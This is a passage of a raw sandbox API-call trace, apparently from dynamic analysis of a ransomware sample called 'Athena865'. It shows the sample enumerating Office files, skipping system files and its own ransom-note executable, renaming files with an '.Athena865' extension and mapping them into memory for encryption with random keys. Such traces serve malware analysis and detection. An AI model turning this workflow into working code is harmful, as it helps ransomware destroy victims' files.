(lpString1="L.HXT", lpString2="accde") returned 1 [0140.290] lstrlenW (lpString="accdr") returned 5 [0140.290] lstrcmpiW (lpString1="L.HXT", lpString2="accdr") returned 1 [0140.290] lstrlenW (lpString="accdt") returned 5 [0140.290] lstrcmpiW (lpString1="L.HXT", lpString2="accdt") returned 1 [0140.290] lstrlenW (lpString="accdw") returned 5 [0140.290] lstrcmpiW (lpString1="L.HXT", lpString2="accdw") returned 1 [0140.290] lstrlenW (lpString="accft") returned 5 [0140.290] lstrcmpiW (lpString1="L.HXT", lpString2="accft") returned 1 [0140.290] lstrlenW (lpString="adb") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0140.290] lstrlenW (lpString="adb") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0140.290] lstrlenW (lpString="ade") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="ade") returned 1 [0140.290] lstrlenW (lpString="adf") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="adf") returned 1 [0140.290] lstrlenW (lpString="adn") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="adn") returned 1 [0140.290] lstrlenW (lpString="adp") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="adp") returned 1 [0140.290] lstrlenW (lpString="alf") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="alf") returned 1 [0140.290] lstrlenW (lpString="ask") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="ask") returned 1 [0140.290] lstrlenW (lpString="btr") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="btr") returned 1 [0140.290] lstrlenW (lpString="cat") returned 3 [0140.290] lstrcmpiW (lpString1="HXT", lpString2="cat") returned 1 [0140.290] lstrlenW (lpString="cdb") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="cdb") returned 1 [0140.291] lstrlenW (lpString="ckp") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="ckp") returned 1 [0140.291] lstrlenW (lpString="cma") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="cma") returned 1 [0140.291] lstrlenW (lpString="cpd") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="cpd") returned 1 [0140.291] lstrlenW (lpString="dacpac") returned 6 [0140.291] lstrcmpiW (lpString1="OL.HXT", lpString2="dacpac") returned 1 [0140.291] lstrlenW (lpString="dad") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="dad") returned 1 [0140.291] lstrlenW (lpString="dadiagrams") returned 10 [0140.291] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="dadiagrams") returned 1 [0140.291] lstrlenW (lpString="daschema") returned 8 [0140.291] lstrcmpiW (lpString1="_COL.HXT", lpString2="daschema") returned -1 [0140.291] lstrlenW (lpString="db-journal") returned 10 [0140.291] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="db-journal") returned 1 [0140.291] lstrlenW (lpString="db-shm") returned 6 [0140.291] lstrcmpiW (lpString1="OL.HXT", lpString2="db-shm") returned 1 [0140.291] lstrlenW (lpString="db-wal") returned 6 [0140.291] lstrcmpiW (lpString1="OL.HXT", lpString2="db-wal") returned 1 [0140.291] lstrlenW (lpString="dbc") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="dbc") returned 1 [0140.291] lstrlenW (lpString="dbs") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="dbs") returned 1 [0140.291] lstrlenW (lpString="dbt") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="dbt") returned 1 [0140.291] lstrlenW (lpString="dbv") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="dbv") returned 1 [0140.291] lstrlenW (lpString="dbx") returned 3 [0140.291] lstrcmpiW (lpString1="HXT", lpString2="dbx") returned 1 [0140.292] lstrlenW (lpString="dcb") returned 3 [0140.292] lstrcmpiW (lpString1="HXT", lpString2="dcb") returned 1 [0140.292] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.Athena865") returned 75 [0140.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.athena865"), dwFlags=0x1) returned 1 [0140.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.294] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=209) returned 1 [0140.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.294] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.295] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.295] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.295] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x154 [0140.297] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0140.298] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.298] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.298] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.299] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.299] CloseHandle (hObject=0x154) returned 1 [0140.299] CloseHandle (hObject=0x17c) returned 1 [0140.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.300] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL.DEV_F_COL.HXK", cAlternateFileName="EXCELD~1.HXK")) returned 1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".") returned 1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="..") returned 1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="windows") returned -1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="bootmgr") returned 1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="temp") returned -1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="boot") returned 1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="ids.txt") returned -1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="ntuser.dat") returned -1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="perflogs") returned -1 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2="MSBuild") returned -1 [0140.300] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19 [0140.300] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL.DEV_F_COL.HXK" | out: lpString1="EXCEL.DEV_F_COL.HXK") returned="EXCEL.DEV_F_COL.HXK" [0140.300] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19 [0140.300] lstrlenW (lpString="Athena865") returned 9 [0140.300] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0140.300] lstrlenW (lpString=".dll") returned 4 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".dll") returned 1 [0140.300] lstrlenW (lpString=".lnk") returned 4 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".lnk") returned 1 [0140.300] lstrlenW (lpString=".ini") returned 4 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".ini") returned 1 [0140.300] lstrlenW (lpString=".sys") returned 4 [0140.300] lstrcmpiW (lpString1="EXCEL.DEV_F_COL.HXK", lpString2=".sys") returned 1 [0140.300] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19 [0140.301] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.Athena865") returned 77 [0140.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0140.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.302] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0140.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.303] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.303] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.303] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.304] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0140.305] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0140.306] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.307] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.307] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.308] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.308] CloseHandle (hObject=0x154) returned 1 [0140.308] CloseHandle (hObject=0x17c) returned 1 [0140.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.308] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL.DEV_K_COL.HXK", cAlternateFileName="EXCELD~2.HXK")) returned 1 [0140.308] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.308] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.308] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".") returned 1 [0140.308] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="..") returned 1 [0140.308] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="windows") returned -1 [0140.308] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="bootmgr") returned 1 [0140.308] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="temp") returned -1 [0140.308] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="boot") returned 1 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="ids.txt") returned -1 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="ntuser.dat") returned -1 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="perflogs") returned -1 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2="MSBuild") returned -1 [0140.309] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19 [0140.309] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL.DEV_K_COL.HXK" | out: lpString1="EXCEL.DEV_K_COL.HXK") returned="EXCEL.DEV_K_COL.HXK" [0140.309] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19 [0140.309] lstrlenW (lpString="Athena865") returned 9 [0140.309] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0140.309] lstrlenW (lpString=".dll") returned 4 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".dll") returned 1 [0140.309] lstrlenW (lpString=".lnk") returned 4 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".lnk") returned 1 [0140.309] lstrlenW (lpString=".ini") returned 4 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".ini") returned 1 [0140.309] lstrlenW (lpString=".sys") returned 4 [0140.309] lstrcmpiW (lpString1="EXCEL.DEV_K_COL.HXK", lpString2=".sys") returned 1 [0140.309] lstrlenW (lpString="EXCEL.DEV_K_COL.HXK") returned 19 [0140.309] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.Athena865") returned 77 [0140.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0140.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.311] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0140.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.311] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.312] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.312] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.312] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0140.315] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0140.315] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.316] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.316] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.317] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.317] CloseHandle (hObject=0x154) returned 1 [0140.317] CloseHandle (hObject=0x17c) returned 1 [0140.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.317] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0140.317] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.317] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.317] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".") returned 1 [0140.317] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="..") returned 1 [0140.317] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="windows") returned -1 [0140.317] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="bootmgr") returned 1 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="temp") returned -1 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="pagefile.sys") returned -1 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="boot") returned 1 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="ids.txt") returned -1 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="ntuser.dat") returned -1 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="perflogs") returned -1 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2="MSBuild") returned -1 [0140.318] lstrlenW (lpString="EXCEL.HXS") returned 9 [0140.318] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EXCEL.HXS" | out: lpString1="EXCEL.HXS") returned="EXCEL.HXS" [0140.318] lstrlenW (lpString="EXCEL.HXS") returned 9 [0140.318] lstrlenW (lpString="Athena865") returned 9 [0140.318] lstrlenW (lpString=".dll") returned 4 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".dll") returned 1 [0140.318] lstrlenW (lpString=".lnk") returned 4 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".lnk") returned 1 [0140.318] lstrlenW (lpString=".ini") returned 4 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".ini") returned 1 [0140.318] lstrlenW (lpString=".sys") returned 4 [0140.318] lstrcmpiW (lpString1="EXCEL.HXS", lpString2=".sys") returned 1 [0140.318] lstrlenW (lpString="EXCEL.HXS") returned 9 [0140.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.Athena865") returned 67 [0140.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.athena865"), dwFlags=0x1) returned 1 [0140.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.320] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7827686) returned 1 [0140.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.320] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.321] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.321] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.321] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7773f0, lpName=0x0) returned 0x154 [0140.323] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x1773f0) returned 0x2bb0000 [0140.385] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2d30000 